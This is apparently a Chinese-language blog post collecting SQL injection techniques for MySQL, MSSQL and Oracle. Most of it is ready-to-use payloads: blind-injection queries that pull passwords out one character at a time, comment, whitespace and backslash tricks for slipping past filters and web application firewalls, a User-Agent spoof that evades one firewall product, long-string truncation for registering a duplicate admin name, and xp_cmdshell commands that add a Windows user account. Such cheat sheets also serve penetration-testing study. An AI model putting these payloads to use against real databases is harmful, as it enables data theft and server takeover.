注入總結

注入總結

參考鏈接

MYSQL

有時使用union注入時,會出現一些亂碼,如下解決

convert(@@version using latin1)
unhex(hex(@@version))

註釋符

井號(#) 雙橫線 (-- )後面要加一個空格 /**/ 局部註釋 %00 直接截斷字符串 `反引號

關鍵字轉義符

波浪線那個鍵,的那個小點符號- -!

insert into app (name,`key`,secret,status) values ('aa','bb',null,2);

聯合查詢

from後面無需添加表名,會自動判斷字符與整形,如 union select 1,2,3 不用寫成 union select 1,‘2’,‘3’

可使用 order by n來判斷字段數,用法語ACCESS類似

附屬查詢

不支持 top 支持 limint

字符串函數

字符串連接 使用CONCAT() 數字使用加號

mysql> SELECT 1+"1";
    -> 2
mysql> SELECT CONCAT(2,' test');
    -> '2 test'

子字符串SUBSTRING(str,pos,len)

mysql> select SUBSTRING('Quadratically',5,6);
    -> 'ratica'

字符串長度Lenhth()

mysql> slect length('aaa')
    -> 3

ASCII值ASCII()

mysql> select ASCII('2');
    -> 50

CHAR()將參數解釋爲整數並且返回由這些整數的ASCII代碼字符組成的一個字符串。NULL值被跳過。

mysql> select CHAR(77,121,83,81,'76');
    -> 'MySQL'
mysql> select CHAR(77,77.3,'77.3');
    -> 'MMM'

LOCATE(substr IN str)
返回子串substr在字符串str第一個出現的位置,如果substr不是在str裏面,返回0.

mysql> select LOCATE('bar', 'foobarbar');
    -> 4
mysql> select LOCATE('xbar', 'foobar');
    -> 0

盲注語句

普通盲注語句

 and (select count(*) from user)>0
 and (select count(pass) from user)>0
 and ascii(substring((select pass from user limit 0,1),1,1)) >0

文藝盲主語句

 and (select 1 from users limit 0,1)=1
 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

MSSQL

附屬查詢

支持 top 不支持 limint

字符串函數

length() 返回字符串長度

concat() 連接字符串

substring() 求子串
charindex ( expression1 , expression2 [ , start_location ] ) 查詢字符串位置

ASCII()

char()

存儲過程擴展

調用存儲過程的時候 master…xp_cmdshell 是 master.dbo.xp_cmdshell 的簡寫

這裏xp 是extended procedure sp 是system procedure

xp_cmdshell

判斷過程是否存在

select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

開啓存儲過程

exec sp_configure 'show advanced option', 1;
reconfigure;
exec sp_configure 'xp_cmdshell' , 1;
reconfigure;

運行cmd指令

exec master..xp_cmdshell "net user wyl 123 /add";

移除存儲過程的方法

 exec   master..sp_dropextendedproc   xp_cmdshell   
 exec   master..sp_dropextendedproc   xp_dirtree   

恢復存儲過程的方法

exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' 
exec sp_addextendedproc 'xp_dirtree', 'xpstar.dll' 

詳細http://blog.csdn.net/gz775/article/details/6329817

盲注語句

and (select count(pass) from [user])>0  
and (select count(*) from [user])>0  
and substring((select top 1 pass from [user] ),1,1)>'0'

ORCALE數據庫

oracle不支持limit,支持一個很奇怪的rownum

SQL> select test.*,rownum from test;
 select * from (select test.*,rownum from test) where rownum>2;
select * from (select test.*,rownum as ron from test) where ron>2;

技巧篇

註釋

(1)

這個在Mysql中/**/這種註釋可以代替,空格來使用,可以構造出這種的語句

 select/**/*/**/from/**/te/**/order/**/by/**/1;

(2)

這個mysql還有一個神奇的特性就是/!xxxxxxx/會被當做語句執行,那麼可以構造出這種語句

/*!select*//**/*/**//*!from*//**//*!te*/;

mysql保持這種奇怪的語法,是爲了兼容性,因爲mysql的一些擴展功能,其他數據庫不支持,放在/!/中自己執行別人不執行。

(3)

/%00/有的時候可以繞過一些,基於字符串的過濾,而且並不影響語句執行。

變量

mysql中有一個特性就是變量@xxxxx 如果沒有定義並不會報錯而是會返回一個null,很多過濾代碼不會檢查單引號之間的部分,可以這樣構造。

select * from te where `id`=@`'` union select @`'`,2,3,4 from te;

有的時候字段要求Not Null需要這樣構造

select * from te where `2`=1 union select char(@`'`),2,3,4 from te;

空格

如果空格被過濾了,有一些辦法可以繞過,這些方法通常也能繞過一些WAP,在某些版本的mysql可以使用括號大法來繞過。

select(1),(2)union(select(2),(3)from(information_schema))

如果是高版本,可以使用一些蛋疼的字符來替代空格

RDBMS Allowed whitespaces 
SQLite 3 0A, 0D, 0C, 09, 20 
MySQL 5 09, 0A, 0B, 0C, 0D, A0, 20 
Oracle 11g 00, 09, 0A, 0B, 0C, 0D, 20 
MSSQL 2008 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 
19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 25 
Table 8: Valid whitespaces allowed in different RDBMS. 

這個圖片出自這篇文章

https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-WP.pdf

這篇文章還講到幾個比較有趣的用法,在盲注的時候可以使用這種語句來把所有結果都顯示

MySQL SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) 
WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] 
>',table_name,' > ',column_name))))x 
MSSQL SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('') 
PostgreSQL SELECT array_to_json(array_agg(tables))::text FROM (SELECT schemaname, relname FROM 
pg_stat_user_tables) AS tables LIMIT 1; 
Oracle SELECT xmlagg(xmlelement(“user”, login||’:’||pass) ORDER BY login).getStringVal() FROM 
users; 
Table 5: Different queries which retrieve multiple table & column entries with a single request. 

使用註釋符–的時候如果後面不加空格,會被當做加號來使用

mysql> select 1--1--2;
+---------+
| 1--1--2 |
+---------+
|       4 |
+---------+
1 row in set (0.00 sec)

反斜槓繞過

有的時候單引號被過濾的情況下,如果轉義符沒有被過濾,我們可以使用轉義符來去掉一個單引號,達到注入的目的

比如在id處存在注入點

where id='xxxxxx' and name='xxxxxx'

我們可以構造這樣的注入語句使查詢語句變成

where id='xxxxx\' and name=' union select xxxxx #'

比如htmlentities()這個函數就不會過濾反斜槓,但是誰會用它來做SQL注入的過濾那····:(


超長變量截斷

這個mysql數據庫對待超過存儲長度的數據只會爆一個warming

mysql> insert into test values('admin                               x');
Query OK, 1 row affected, 1 warning (0.03 sec)

而在where比較的時候mysql是忽略空格的,這個技巧可以用來註冊相同名字的用戶

userAgent繞過安全狗

這個原理就是,把userAgent改造成百度蜘蛛的Agent,便可以繞過一部分安全鉤的檢測

User-Agent:Baiduspider
發佈了31 篇原創文章 · 獲贊 19 · 訪問量 3066
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章